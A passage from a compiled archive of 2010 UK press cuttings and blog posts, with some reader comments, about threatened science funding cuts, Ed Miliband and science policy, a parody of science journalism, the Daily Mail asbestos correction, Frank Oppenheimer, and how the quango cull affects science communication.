VOLUME 10
research by the pharmaceutical industry. On charges that research money should be spent more
efficiently, Haines said that grants were already getting more competitive: the success rate for research
funds from the Medical Research Council has dropped from 40% to 19% in recent years and most cash
from the funding councils, used for basic university infrastructure, already goes to the highest-rated
departments.

On the idea that the government would cut research funds across the board to reduce the UK's deficit,
Malcolm Grant, provost of University College London said he had yet to "understand what is the economic
case for long-term growth in this country to which research is not relevant."

In a submission to the government's business department at the end of July, the Royal Society outlined
three scenarios for the future of research funding. "One was constant cash, which is a substantial cut in
real terms, and we felt that in a number of ways one could accommodate that," said Rees. "10% cash cut
we called 'slash and burn'; 20% cuts we headed 'game over' - that would irreversibly destroy the UK's
potential as a leading scientific nation. It is because science is an international market and you can't turn
the tap off and then on again. Especially where we know other countries are forging ahead."

Grant said that universities had not always helped themselves in the past by assuming the rest of the world
understood what "research" was. He cited recent work at Great Ormond Street Hospital in which a boy had
a trachea transplant in an operation that had never been carried out before anywhere in the world. "It was
a spectacularly successful operation for a child for whom no other avenue of recovery was possible. This is
research that touches people's lives, it is reseach that our universities are doing today. And this is what we
fear we will not be doing today in the event we fail to convey the public and to our political leaders what it
is that research achieves."

Earlier this week, stem cell scientists warned that the UK would lose its leading position in regenerative
medicine, which aims to use stem cells to repair damaged organs and tissues, because the government has
invested too little money in turning breakthroughs into treatments. Richard Sykes, chairman of the UK
stem cell foundation, blamed the previous government for failing to honour its commitment to help
researchers turn their discoveries into medical therapies and urged coalition ministers to revive support for
the field.

And, last month physicists also warned that deep cuts would entail the closure of multimillion pound
scientific facilities in the UK, which employ thousands of scientists and have only been completed in the
past few years. It could also threaten British involvement in Cern, the Geneva-based home of the Large
Hadron Collider.

472 | P a g e
VOLUME 10
2010/09/24 GUARDIAN SCIENCE BLOG
MARTIN: THIS IS A NEWS WEBSITE ARTICLE ABOUT
A SCIENTIFIC PAPER

In the standfirst I will make a fairly obvious pun about the subject matter before posing an inane question I
have no intention of really answering: is this an important scientific finding?

Comments (596)

In this paragraph I will state the main claim that the research makes, making appropriate use of "scare
quotes" to ensure that it's clear that I have no opinion about this research whatsoever.

In this paragraph I will briefly (because no paragraph should be more than one line) state which existing
scientific ideas this new research "challenges".

If the research is about a potential cure, or a solution to a problem, this paragraph will describe how it will
raise hopes for a group of sufferers or victims.

This paragraph elaborates on the claim, adding weasel-words like "the scientists say" to shift responsibility
for establishing the likely truth or accuracy of the research findings on to absolutely anybody else but me,
the journalist.

In this paragraph I will state in which journal the research will be published. I won't provide a link because
either a) the concept of adding links to web pages is alien to the editors, b) I can't be bothered, or c) the
journal inexplicably set the embargo on the press release to expire before the paper was actually
published.

"Basically, this is a brief soundbite," the scientist will say, from a department and university that I will give
brief credit to. "The existing science is a bit dodgy, whereas my conclusion seems bang on," she or he will
continue.

I will then briefly state how many years the scientist spent leading the study, to reinforce the fact that this
is a serious study and worthy of being published by the BBC the website.

This is a sub-heading that gives the impression I am about to add useful context.

Here I will state that whatever was being researched was first discovered in some year, presenting a vague
timeline in a token gesture toward establishing context for the reader.

To pad out this section I will include a variety of inane facts about the subject of the research that I
gathered by Googling the topic and reading the Wikipedia article that appeared as the first link.

473 | P a g e
VOLUME 10
I will preface them with "it is believed" or "scientists think" to avoid giving the impression of passing any
sort of personal judgement on even the most inane facts.

This fragment will be put on its own line for no obvious reason.

In this paragraph I will reference or quote some minor celebrity, historical figure, eccentric, or a group of
sufferers; because my editors are ideologically committed to the idea that all news stories need a "human
interest", and I'm not convinced that the scientists are interesting enough.

At this point I will include a picture, because our search engine optimisation experts have determined that
humans are incapable of reading more than 400 words without one.

This picture has been optimised by


SEO experts to appeal to our key target demographics

This subheading hints at controversy with a curt phrase and a question mark?

This paragraph will explain that while some scientists believe one thing to be true, other people believe
another, different thing to be true.

In this paragraph I will provide balance with a quote from another scientist in the field. Since I picked their
name at random from a Google search, and since the research probably hasn't even been published yet for
them to see it, their response to my e-mail will be bland and non-committal.

"The research is useful", they will say, "and gives us new information. However, we need more research
before we can say if the conclusions are correct, so I would advise caution for now."

If the subject is politically sensitive this paragraph will contain quotes from some fringe special interest
group of people who, though having no apparent understanding of the subject, help to give the impression
that genuine public "controversy" exists.

This paragraph will provide more comments from the author restating their beliefs about the research by
basically repeating the same stuff they said in the earlier quotes but with slightly different words. They
won't address any of the criticisms above because I only had time to send out one round of e-mails.

This paragraph contained useful information or context, but was removed by the sub-editor to keep the
article within an arbitrary word limit in case the internet runs out of space.

474 | P a g e
VOLUME 10
The final paragraph will state that some part of the result is still ambiguous, and that research will
continue.

Related Links:

The Journal (not the actual paper, we don't link to papers).

The University Home Page (finding the researcher's page would be too much effort).

Unrelated story from 2007 matched by keyword analysis.

Special interest group linked to for balance.

2010/09/24 GUARDIAN SCIENCE BLOG


MARTIN: ASBESTOS SAGA PROVES OUR FEEBLE
PRESS WATCHDOG HAS NO BARK AND NO BITE

It took a seven-month battle to get the Daily Mail to correct Christopher Booker's dangerous claims about
asbestos. Guest post by Richard Wilson

There's not much the PCC can do if


a newspaper like the Daily Mail digs in its heels following a complaint. Image: www.wordle.net

Back in February, the Daily Mail published an article denouncing "The Great Asbestos Hysteria", and
claiming that the health risks had been grossly exaggerated by "the BBC, profiteering lawyers, and gullible
politicians".

475 | P a g e
VOLUME 10
The article was a response to a study raising concerns about the ongoing dangers of asbestos in UK
schools. Those dangers were, the Daily Mail assured us, "all but non-existent". While many older school
buildings still contained asbestos, almost all of it was "relatively harmless white asbestos, encapsulated in
cement or other materials, from which it is virtually impossible to extract even a single dangerous fibre".
The threat from such products was so "vanishingly small" that a study by the Health and Safety Executive
(HSE) had concluded that the danger was "insignificant", with "arguably zero" risk of lung cancer.

Good news all round, then. No need for schools to worry about that crumbling asbestos roof. No need, we
might think, for maintenance workers to wear protective clothing when renovating old school buildings. No
need, it would seem, to employ specialist contractors to assess whether to leave asbestos undisturbed or
get it removed. Those guys are, in any case, according to the Mail, a "commercial racket" with a "vested
interest in exaggerating the dangers of products which are, in effect, harmless".

Last week, seven months after the article was published, the Daily Mail issued a carefully worded
correction:

"...The HSE assessments related to specific levels of exposure to white asbestos fibres, not white asbestos
products, and found a risk from higher levels. The article said that asbestos in UK schools is almost all
white. According to the HSE the more harmful brown asbestos was also frequently used in schools..."

Not such good news. What many reading the Daily Mail article won't have known is that the author,
Christopher Booker, has a long track record of downplaying the health risks of white asbestos. Though not
a scientist himself, Booker has written at least 42 newspaper articles on this subject since 2002, making
claims that run counter to the views of most experts, but are remarkably similar to those of the asbestos
industry.

Several of the claims in the Daily Mail article – including that an HSE study once concluded the health risks
of white asbestos cement were "insignificant" - have previously appeared in Booker's Sunday Telegraph
column, prompting a series of direct rebuttals from the HSE. The available evidence, as assessed by –
among others - the World Health Organisation, the UK and US governments, and the European Union, is
that white asbestos poses a serious risk to human health that needs to be carefully managed.

If the experts are right about asbestos and Booker is wrong, then this matters for at least two reasons.
Firstly, there's a danger that people may take unnecessary risks when handling the stuff, with potentially
deadly consequences a couple of decades down the line. In 2008, a survey by the British Lung
Foundation found widespread ignorance about the health risks, with under a third of tradespeople – the
group most at risk of exposure – aware that it could cause cancer, and 28% "mistakenly assuming that
some levels of asbestos are safe". Further misinformation surely won't help.

Secondly, for those affected by asbestos-related disease, ill-informed media reports belittling the health
risks can be offensive and upsetting. I got the smallest glimpse of what that must be like when I saw that
my blog had been linked to from a Facebook group set up by mesothelioma sufferers in response to
Booker's Daily Mail article.

Several members of the group had decided to report the Mail to the Press Complaints Commission, for
breaching section 1 of the PCC's ethical code: "The Press must take care not to publish inaccurate,
misleading or distorted information". I've been following Booker's antics for a while – I researched his work
in detail for my book Don't Get Fooled Again, and still write about him from time to time on my blog. So I

476 | P a g e
VOLUME 10
decided to support the Facebook campaigners – and test out the PCC's claim to be "fast, free and fair" – by
putting in a complaint of my own.

It wasn't difficult to produce evidence debunking the Mail's assertion that white asbestos was "relatively
harmless". Back in 2002, the HSE had published a summary, with references, of the peer-
reviewed research linking the material to mesothelioma and lung cancer. The newspaper's claim that an
HSE study had found the dangers of white asbestos cement to be "insignificant" was also easy to disprove:
Booker had made the self-same claim in the Sunday Telegraph back in 2008, and been rebutted in detail by
the HSE.

Neither was it hard to show that the Mail had got it wrong in claiming that "it is virtually impossible to
extract even a single dangerous fibre" from white asbestos cement. An HSE lab report from 2007 notes
that "the claim that respirable airborne chrysotile fibres are not able to be released from asbestos cement
products was refuted by the individual airborne fibres sampled during the breaking of the test sample with
a hammer".

In theory, this should have been the end of the matter. According to the PCC's code, "a significant
inaccuracy, misleading statement or distortion once recognised must be corrected, promptly and with due
prominence". What happened instead, in my view, speaks volumes both about the character of the Daily
Mail, and the credibility of the newspaper industry's self-regulatory body.

After a delay of several weeks, the PCC forwarded me a dismissive response from the Daily Mail's executive
managing editor, Robin Esser. While acknowledging some minor errors, Esser insisted that the disputed
HSE study did indeed back up Booker's views on asbestos. The fact that the HSE had put out a statement
explicitly rebutting this merely proved that "those responsible for HSE press releases are similarly unable to
grasp the significance of findings published by their own statisticians". For good measure, Esser accused
me (falsely, just in case you're wondering) of being "allied to a well-organised and well-funded commercial
lobby", who "stand to benefit financially" from the "anti-asbestos campaign".

Rather than take ownership of the process, assess the various bits of evidence and come to a judgement,
the PCC instead asked me to go through this new set of claims and produce a further response. Here I
began to see why so many people have given up on the PCC. If a newspaper digs in its heels and simply
denies all the evidence that's been presented, there doesn't seem to be much that the PCC can do except
bat the issue back to the complainant.

It was at this stage that I learned that the asbestos campaigner Michael Lees had also submitted a detailed
complaint. Michael, who has beenworking to highlight the dangers of asbestos in schools since losing his
wife Gina, a teacher, to mesothelioma, had been singled out by name – the third time that Booker had
done this. Michael took particular exception to the dismissive terms in which the article had referred to his
wife's death, adding to the offence of a previous piece in which Booker had dubbed the case "bizarre". He
was also concerned that – aside from Booker's views on white asbestos – the article sidestepped the fact
that many schools still contain large amounts of brown asbestos, whose dangers are beyond dispute.

More time-consuming exchanges followed, with long gaps in between, while we awaited a response from
the Daily Mail. In the end we won, sort of. The newspaper agreed to make some amendments to the text
of the article, publish a short correction, and write a private apology to Michael Lees over Booker's
comments about his wife. But to get even this far has taken seven months, and a substantial time
investment, while the Daily Mail seems to have been able to drag the process out with impunity. "Free",
perhaps – but hardly "fast", or "fair".

Richard Wilson is the author of Don't Get Fooled Again – The Skeptic's Guide to
Life. www.twitter.com/dontgetfooled

477 | P a g e
VOLUME 10
2010/09/25 THE INDEPENDENT: UNIVERSITY
HEADS WARN OF A NEW SCIENTIFIC 'BRAIN DRAIN'
By Steve Connor, Science Editor

University vice-chancellors and the president of the Royal Society called on the Government yesterday to
save British science from swingeing budget cuts, or risk a new "brain drain" of the best scientists.

Lord Rees of Ludlow and the leaders of six of the country's foremost universities warned that cutting the
UK's science budget at a time when other countries were boosting theirs could leave Britain on the
sidelines of global scientific research.

Sir Andy Haines, director of the London School of Hygiene and Tropical Medicine, said: "The Chinese
investment in science technology will increase six-fold by 2020 and the US administration has just put
$10bn *£6.3bn+ into health research. We need to respond to that."

The heads of five other universities agreed, arguing that cuts in science would lead to irreversible damage
and a loss of confidence and morale which would be difficult to restore.

Professor Glynis Breakwell, vice-chancellor of Bath University, said: "If there is no long-term strategy to
maintain a commitment to public funding for research, businesses may vote with their feet and relocate to
countries where there is greater support."

2010/09/27 EXQUISITE LIFE: IT COULD BE


GAME OVER FOR UK SCIENCE WITHIN DAYS
A week ago, we had the FT story saying the government was planning cuts of £960 million in research.
Then Martin Rees said at the press conference on Friday that the gap between a good and bad outcome for
the spending review was about £1 billion. These are cuts of around 20 per cent, the level at which the
Royal Society has warned the government it would be "Game Over" for Britain's position as a leading
scientific nation.

And I’m now told that the decision on the BIS budget could be taken as early as this week. It’s time to face
it. Irrational it may be, but in the coming days we really are staring into the barrel of the deepest cuts in
science spending ever contemplated by any British government - cuts that for an entire generation of
scientists, for Britain's hopes for a hi-tech economic future really do mean Game Over.

Posted by William Cullerne Bown on September 27, 2010 |Permalink

478 | P a g e
VOLUME 10
2010/09/27 S WORD: UK SCIENCE: HISTORY
TELLS US CUTS WOULD BE A MISTAKE

Keith Burnett, Vice-Chancellor, The University of Sheffield

The British coalition government has been warned in stark terms about the potential impact of both real
and perceived cuts on UK science, and a "brain drain" away from the nation, not just for laboratories and
research but for the best and brightest PhD students who are so vital to successful research.

The thoughtful plea from the eminent Oxford zoologist John Krebs, chair of the Lords' Science and
Technology committee, earned him a place on The Daily Mail's "Whinge Watch". There is a sense that
many in the government and the media believe that academia is crying wolf over loss of UK prestige and
performance.

We must, of course, take this on board, and be open to people wanting to know why expenditure on
science should have priority in competition for funding of many crucial areas in peoples' lives.

When someone asks, "what's the point of universities?" I am tempted to give reply with "a job for your
children and a planet for your grandchildren". Jobs are created by growth in the science and engineering
based industries that funding drives. Moreover, our research, the work funded by the science vote, is made
up by a great many students working at the cutting edge of technology.

Yet for me, like many other scientists of my generation, the current situation has an unhappy sense of deja
vu. We have seen what could happen because we have already lived it.

As a young physicist in the late 70s I found myself in a UK science environment which was bleak and under-
resourced compared to its transatlantic peer. So like many of my peers, I headed for America and the
University of Colorado. The US was investing heavily in science and provided the land of opportunity for a
young academic with ambitions in their field. I might never have come back, other than for a "new blood"
scheme introduced by the then Conservative government. (Well.. they did have a chemistry graduate as
leader at the time.)

The decades that followed saw a renaissance in British science that has rightly ensured its global
reputation for being at the top of its game, making impressive use of comparatively moderate investment
by government. British universities have worked hard to build the place they have as international leaders.
We have in turn become a magnet to other young scientists from around the world, a home of
international hubs of global excellence working on the great challenges of our time.

Such success requires ongoing support. What matters is that short-term economic measures don't cause us
to undermine for a generation the vital strength of scientific research that will fuel our economic growth,
and our sustainability as a high-wage and technologically advanced nation.

When John Krebs appeals to the government, he is doing so as an eminent scientist and the son of the
Nobel Prize winning Sheffield scholar Hans Krebs. He has an international perspective and has a history of
being unafraid to speak difficult truths. Any government would be foolish to ignore his advice.

479 | P a g e
VOLUME 10
I want the next generation of outstanding young scientists - both British and international - to focus their
research collaborations in the UK. If they do, we will all benefit. If they do not, we will be a long time
restoring what has been lost.

2010/09/27 CASE: CASE WELCOMES ED


MILIBAND AS NEW LABOUR LEADER
By HILARY LEEVERS

CaSE Director Imran Khan also blogged in the Guardian on Ed Miliband’s victory

CaSE today warmly welcomed the new leader of the Labour Party, Ed Millband MP. CaSE Director, Imran
Khan, said “With his educational and policy background, plus what he’s already said as an MP and in his
leadership campaign, we’re optimistic that Ed Milliband understands the unique opportunities that science
and engineering can provide the nation – especially at this time of financial difficulty.”

Ed Miliband studied politics, philosphy and economics at Oxford and then took a masters in economics at
the London School of Economics, and is apparently a“self-confessed maths geek”. He worked as a Labour
Party researcher for Harriet Harman and then became chairman of the Treasury’s Council of Economic
Advisers. He served as Secretary of State at the newly created Department of Energy and Climate Change
from October 2008 to May 2010.

Ed Miliband spoke of the important relationship between science and parliament and of science’s role in
shaping public policy at the Parliamentary Links Day organised by the Royal Society of Chemistry and co-
sponsored by CaSE in June this year (watch his talk from 90 minutes in). He stated that “scientists … have
an unbelievably important role in informing political debate in this country”. Indeed, when he was
Secretary of State for Energy and Climate Change, Miliband had regular meetings with both the
Departmental and the Government Scientific Advisors.

Well into the leadership campaign at that time, and apparently keen to woo the science vote, Ed Miliband
also pointed out that he had out-performed his brother, also a candidate, at physics A level. He urged
scientists to get more engaged with the public stating that “public debate in this country will do a lot better
with your voice at the heart of it.”

Notably, he also spoke of the “very important” role of science and engineering to get economic growth.

Over the summer, Scientists for Labour , in collaboration with CaSE, asked the five candidates for the
Labour Leadership what role they thought science would play in their future policy plans. In his
response, Miliband again commented on the importance of STEM for growth, writing that if investment is
neglected now “we will pay a heavy price in the growth, productivity and employment foregone in the
future”.

Miliband also noted that CaSE’s work on promoting science and engineering is ”crucial to the future health
of our economy”. He wrote of revitalising the policy-making process by encouraging organisations like
Scientists for Labour and CaSE to bring their energy and expertise.

CaSE is keen to work with the new Leader of the Opposition, and will be writing to him about how we can
help the Labour Party hold the Government to account on science and engineering policies.

480 | P a g e
VOLUME 10
2010/09/27 ALICE BELL BLOG: MY
FAVOURITE SCIENTIST
I’m not really someone who does “favourites”. When people ask my favourite colour, favourite t-shirt, or
favourite food I tend to roll my eyes and point out that I’m not seven. But I do have a favourite scientist.
His name is Frank Oppenheimer.

This is a bit embarrassing because, as a trained historian of science, I really should be above a “great man”
view of our past. I know science doesn’t progress genius by genius. I know any greatness of science is (a) up
for debate and (b) tends to come from long, iterative work done by largely anonymous groups, not starry
individuals. I have to admit to finding the veneration of Darwin last year a bit weird. But I’ve thought Frank
Oppenheimer was amazing ever since, as an undergraduate, I stumbled across a dusty book about him at
the edge of the Science Museum library.

Really short version: Frank was J. Robert Oppenheimer‘s little brother. Like his brother, Frank was also a
physicist and also worked on the Manhattan Project. Post-war, he was blackballed as a communist so went
off to run a cattle ranch, later becoming a teacher before re-joining academia. After a brief sabbatical at
UCL he dropped university life again and moved to San Fransisco to found the Exploratorium (now a model
for science museums all over the world).

Short version: Go read my second piece for the Guardian science blog festival.

Medium-long version: Have a play at the Exploratorium’s history site.

Long version: Get hold of a copy of KC Cole’s biography.

Let’s not build heroes here. Frank Oppenheimer didn’t save the world. In fact, we might even say that as
someone involved in the Manhattan Project, he played a small part in the closest we’ve come to destroying
it. It’s also worth emphasising that the guy wasn’t a saint, and that it’s not like the Exploratorium is the
definitive word on how to do science education (personally, I love it, but I appreciate I’m a kinesthetic
learner who likes physics). Plus, let’s not forget, he was a rich, white man of the 20th century who’s Dad
left him a Van Gough. Still, I think he’s a fascinating chap.

Every now and again I pop into the Science Museum’s mini-Exploratorium, Launch Pad. I build an arch
bridge. I mess about with some bubble mix. I remember all the similar exhibits I’ve played with in similar
museums all over the world. And I remember that I have a favourite scientist. His name was Frank
Oppenheimer.
6 Responses ―My favourite scientist‖ →
gavalon
September 27, 2010
I understand that this isn‘t a call for a long list of comments espousing the various virtues of peoples science
heroes, but I‘ll go ahead and do so anyway, uninvited like.
No matter our background, it‘s hard not to develop a warm fuzzy feeling for some of the characters we come
across in science, and for me, I have to say, it‘d be one of Oppenheimer‘s peers. Richard Feynman*.
Leaving aside his rather, err, eccentric personal life, if I could articulate even a fraction of the enthusiasm and
excitement for science (and life) you can hear in his voice I‘d consider myself a success as a science
communicator.
Still, early days, eh..?
G
*and I‘m a biochemist
alicerosebell

481 | P a g e
VOLUME 10
September 27, 2010
Hey, Feynman‘s a really interesting guy! First comment on Guardian post is ―Yes, but would he have won
in a fistfight with Richard Feynman?‖ (which I think is a v funny but possibly believable image…).
gavalon September 27, 2010
Haha,
Yeah was just reading through it…looking back, wish that‘d been my comment…
C‘est la vie.
Bsci September 28, 2010
I haven‘t read KC Cole‘s biography yet, but I‘ve also been impressed with Frank Oppenheimer. The one question
in my mind is why the Exploratorium is so rarely replicated and never as good. After visiting the Exploratorium,
I‘ve actually been depressed by trips to the other ―top‖ science museums in the nation. While it‘s hard to make
such good displays, the simple concepts of allowing experimentation and exploration in science museum seems to
get lost along the way or sequestered to small corners of other museums.
alicerosebell September 28, 2010
I haven‘t been to many science museums in the USA other than the Exploratorium, but I have been to
ones inspired by the Exploratorium in the UK, Australia and much of continental Europe. Trust me, it‘s
been replicated. A lot. Never to the same scale or, I‘d argue, success of the Exploratorium, but still
replicated.
If anything this is a criticism I have of the field – that they stick to Exploratorium Cookbooks and
philosophy rather than inventing their own. As I say above, I actually really like the Exploratorium, but
I‘m all for variety too. The Exploratorium itself was inspired by museums in Paris, London and Munich,
but also added ideas all of its own.
That said, a fair number of the Exploratorium have closed or been redeveloped in the last 10 years, and
in many ways I‘d say that was a loss. Explore at Bristol, for example, is no where near as good as the
Exploratory (esp. in respects to the exploration issue to mention above). The new Launch Pad in London
is, I‘d say, better than the one 15 years ago, but it went through a really bad phase after the re-
development in 2000.
Do read the Cole biography – it‘s a lovely book.
Casey Rentz September 28, 2010
I read KC‘s biography not long ago, and loved every bit of it. I think i cried at the end.

2010/09/27 GUARDIAN SCIENCE BLOG EVAN:


ED MILIBAND'S SCIENCE CHALLENGE

Labour's new leader will have to address several science issues, and the science community should make
sure he keeps the subject at the heart of his agenda.

This is a guest blog by Imran Khan, who is director of the Campaign for Science and Engineering

482 | P a g e
VOLUME 10
Ed Miliband, the self-proclaimed maths geek.
Photograph: Graeme Robertson

I don't know if we've ever had a self-confessed maths "geek" as leader of Her Majesty's Official Opposition
before, but with threats to science funding as they are, perhaps it's not a bad time to start.

The Campaign for Science and Engineering in the UK (CaSE) is pleased to congratulate Ed Miliband on
becoming the new leader of the Labour party; he will be responsible for holding the coalition government
to account on a range of issues. It's the job of everyone in the science and engineering community to make
sure he puts these subjects at the heart of his agenda.

So what are the key areas he'll need to address?

Personnel

The first is the appointment of strong and capable shadows to Vince Cable and David Willetts who together
form the coalition's science team. Miliband's choice of Vince Cable's shadow is limited to those who come
through the Labour party's shadow cabinet election process, so we should know his or her identity soon.

But Miliband may have more freedom in appointing someone to take on the unenviable task of shadowing
the universities and science minister, David "Two Brains" Willetts. Before the general election, we had
three impressive science spokesmen – Lord Paul Drayson, Adam Afriyie, and Dr Evan Harris – who vied for
the "science vote". Electoral misfortune and party politics have meant that all three are gone, and it's likely
that the Lib Dems won't have an official science spokesman to replace Harris as it could undermine their
coalition partners. This makes Miliband's choice all the more crucial.

The Labour party is conspicuously blessed with MPs with a background or interest in science, technology,
engineering or maths – particularly those who aren't first-term MPs and are therefore more likely to be in
line for a shadow ministerial role. But since the job also involves keeping an eye on the university sector,
an understanding of higher education is equally important.

Research funding and the economy

Ed Miliband has said he doesn't intend to oppose every funding cut made by the coalition. But he has also
said that "we, as politicians, have a responsibility to defend science". Hopefully he'll make his decisions in
an evidence-based way – and with the evidence clearly showing that investing in research and
development can drive the economic recovery, it's vital that his economic plan takes that into account. We
can be sure that there will be a lot of concerned scientists waiting for the opposition's response.

And the Labour party needs to articulate a long-term vision for UK industry, too. CaSE strongly argues that
given we're only going to get less competitive in low- and medium-skills sectors, it's unlikely we're going to
find more stuff to dig out of the ground, and that over-reliance on the financial services sector has proven
to be an unacceptable risk, we need a knowledge-intensive and technologically focused economy. That has
to be a priority for Miliband and his shadow Chancellor.
483 | P a g e
VOLUME 10
Policy and evidence

Partly thanks to the efforts of former science ministers Lords Sainsbury andDrayson, New Labour enjoyed a
reputation as being science friendly. It's a reputation that was helped by the party's stance on issues
like animal testing, but tested and strained by an alleged failure of leadership over GM crops, and
the sacking of David Nutt. Further tests will come, and probably from unexpected areas.

How well Miliband and his team can respond to, say, the next drugs crisis or bioscience controversy –
either in a few years' time, or next week – will largely depend on the efforts he puts in now to ensure that
his policy-makers can quickly and effectively access evidence and advice from the scientific community,
and treat it with due regard. Before he was elected, Miliband said he wanted to "revitalise the policy
process" within Labour, including by "encouraging organisations like CaSE to bring their energy and
expertise into the process"; clearly we hope he lives up to his word.

Education

In the long-term, science and maths education remains an absolutely critical policy area; if left
unaddressed, all other efforts could be wasted. This year we've seen encouraging signs that more pupils
are taking science and maths at A-level and GCSE, but worrying gaps in uptake and attainment between
boys and girls and state schools versus the independent sector remain.

The most important interventions to fix this and build upon gains will inevitably deal with teacher quality
and quantity. Miliband and his forthcoming shadow education secretary will find lots of helpful voices in
the science and teaching community to help them with ideas – if they make it a priority.

On teaching and in other areas both the Lib Dems and the Tories made firm commitments before the
election – some of which even chimed with each other. And yet we've seen very little from the coalition to
meet those commitments. There's a lot out there for Labour to pin the government down on, and CaSE will
continue to work with all the main political parties to make sure that the level of debate is as high as it can
be.

Imran Khan is director of the Campaign for Science and Engineering

Comments in chronological order (Total 6 comments)


potatopower 27 September 2010 9:31PM
is it a slow science day?
JeffoY 27 September 2010 9:59PM
Good lord, could you not find a better photo of him? It looks like his myspace photo.
Teek 28 September 2010 8:28AM
This comment will cite an unrelated article as it should have been posted elsewhere - oh no, wait, that's for
another thread...
Seriously though, you're right to say that Milliband's choice of appointment for this portfolio is eagerly
anticipated - trouble is he's likely to choose hard-hitters for other positions in shadow cabinet...
muscleguy 28 September 2010 11:13AM
@Potatopower
Considering the coalition is seemingly poised to decimate British science just when they should be investing in it
and we have statements from Cable that are spectacularly, even deliberately ignorant of both science and
universities we urgently need someone from the opposition to hold their feet to the fire in the commons and in
the media.
I have been gratified that every single time there has been a science story with an interview on R4 that I have
heard comments have been made by the interviewee at the end about the disastrous effects the promised cuts
will have. There was even a chap from the US who chimed in. So science is organised and taking every media
opportunity offered, but the opposition has been silent because of the leadership election.
physicist55 28 September 2010 12:18PM

484 | P a g e
VOLUME 10
When labour were in power they decimated funding in the STFC. Both lid dems and tories campaigned against
this - now they are in power they no longer care about science.
Why should we believe labour will be any different if they get power again? They will say what they need to in
order to win, but once in as usual manifestos will be ignored....all the same and all can't be trusted.
BarryPinches
28 September 2010 12:26PM
Ed's last job as Energy & Climate Change secretary will hopefully mean that Global Warming will factor in his
decisions. He's surely the only party leader who really getshow serious it is.

2010/09/28 EXQUISITE LIFE: WELCOME TO


SPIN CITY
The bonfire of the quangos is a backward step for freedom of information.

Glancing down the list of quangos on the at-risk register I remembered the outcry in the US a few years
back when John Bolton, newly appointed US ambassador to the UN said: "The Secretariat building in New
York has 38 stories. If it lost ten stories, it wouldn't make a bit of difference." In Francis Maude’s 12-page
list of 180+ public bodies there are so many ‘unknown unknowns’ you have to wonder whether society will
trundle on just as well without them.

Or that’s what I thought until around page-seven. Here were names of bodies I have worked with: like the
Human Genetics Commission, the Human Fertilisation and Embryology Authority, The Food Standards
Agency (which will survive but with bits like nutrition chopped off), the Health Protection Agency, the
Human Tissue Authority.

Let me first say that my concerns about losing these bodies is perhaps different from those expressed by
their champions. Claims that the HFEA and HTA have won over scientists and clinicians do not match my
experience. Most researchers I meet believe they are heavily over- regulated and most IVF clinicians argue
they should be trusted to make decisions with their patients on a case-by-case basis.

The fog of misinformation

My concern about the quango bonfire is to do with its impact on science communication. Put simply I think
science press officers in arms-length bodies are better placed to independently communicate complex
science to the mass media than their counterparts in government – especially at times of crisis. Journalists
like dealing with the FSA’s media team because each press officer specialises in a different subject; they
get involved with the meetings where policy is developed and have ready access to their scientists. Within
weeks of a former SMC colleague moving to head up media relations at the HTA she was briefing science
reporters on incredibly complex regulations on storing stem cells and altruistic kidney donation. A previous
head of media at the HFEA used to set himself up in the press rooms of international fertility conferences
to answer any questions from UK journalists.
485 | P a g e
VOLUME 10
This is not in any way to demean government press officers who are often excellent – but the ones I know
would be the first to admit that their role in communicating science is compromised by having to please
ministers, other departments and the political agenda. Science and health press releases have to be passed
by notoriously fearful civil servants whose job is to anticipate the political filter the story will be seen
through and amend as appropriate.

And while I have never quite got my head round the arcane processes of government media relations I
have heard about the dreaded “grid” where all departmental media activities have to be logged and seems
designed to ensure that political imperatives dictate the timing and nature of departmental press work.

At the SMC we once got an insight into this world after agreeing to run a press briefing for a quasi-
independent initiative inside government. We were told we may have to postpone the press launch of a
report into mental wellbeing because Number 10 was concerned that the short section on debt and
mental health could result in difficult questions to Gordon Brown at Prime Minister’s Question Time.
Luckily the SMC is independent and we went ahead, but had the press launch taken place inside
government the UK public may never have known about this valuable report.

Nowhere was the conflicted nature of government media relations more apparent that in the case of the
sacking of David Nutt, the previous government’s drugs adviser. The Home Office press officers assigned to
look after the Advisory Committee on the Misuse of Drugs were also working for the Home Secretary and
were left in doubt as to where their PR skills were to be directed in the media war that raged between the
two.

Of course bringing responsibility for these issues back into government or into bigger existing regulators
like the Care Quality Commission does not have to mean the disappearance of specialist communicators
but someone would need to believe it was worth protecting. The question for decision makers should
surely be whether a single regulator will be able to give enough time to examining and communicating the
issues that society most worries about, such as retained organs, designer babies, human-animal hybrid
embryos and so on.

And even if we were reassured that specialist science press officers would be preserved we are still left
with the thorny issue of “trust”. For better or ill public opinion polls repeatedly tell us that the public trust
independent scientists more than the government to tell the truth. I need hardly tell you that this is even
more true for journalists.

Indeed, some of these arms length bodies were an acknowledgement of that fact. The FSA was set up after
the BSE crisis to restore public confidence in the way government handled food safety issues, and the HTA
was created after medics at Alder Hey hospital in Liverpool took more than 2000 organs from dead
children for research without appropriate consent.

486 | P a g e
VOLUME 10
Of course we should not be naïve about the amount of government influence already exerted over these
arms-length bodies and many employees were brutally reminded last Friday that theirs is a fragile kind of
independence. I know many press officers in these agencies who have had to fight to publish scientific
advice or policy statements that might make life difficult for their “parent” departments in Whitehall. But I
generally know about these examples precisely because these press officers win those fights. In my
experience it is press officers and communications people in arms-length agencies who are the fiercest
guardians of openness and independence from government.

That said: my communications/transparency defence stands up less well for some of the organisations on
the threatened list. While I am told it did wonderful work, journalists are unlikely to mourn the loss of the
Joint Committee on Vaccination and Immunization whose members were not allowed to brief the media,
signed confidentiality agreements and routinely handed their reports to the Department of Health to
publish.

No quango has a god-given right to exist and the bonfire does not have to be all bad news for science if
handled sensibly. Some in science have conceded that merging the functions of bodies like the HTA and
HFEA into a bigger single regulator could simplify regulation for researchers without a loss of expertise, and
asking the respected independent Academy of Medical Sciences to look into how best to do some of this is
a shrewd move.

But the huge and on-going impact of media frenzies over BSE, MMR and GM crops ten years ago should
remind this government of the high price we pay for poor science communication. No matter where the
responsibilities of these arms-length bodies end up there will still be a need for public trust. The best way I
know to deliver that is through great science communication by press officers who know their subject and
are free from political constraints.

Posted by Fiona Fox on September 28, 2010 | Permalink


Comments

So if I understand your argument correctly it goes something like; making redundant all the people that work
for these quangos is OK (as their advisory/regulatory functions amounts to interference) except for the role
that the communications teams play in each of these organisations? Perhaps such broad reductionism serves to
illustrate why many of these organisations should continue.
Posted by: Riprap007 | September 28, 2010 at 11:24 AM

It's a pity Fiona Fox questions the transparency of the JCVI. A quick look at their website reveals far greater
levels of transparency and communication than her passage above implies.
http://www.dh.gov.uk/ab/JCVI/DH_094786
This piece also seems to argue for a continuation of the gatekeeper approach where access to information and
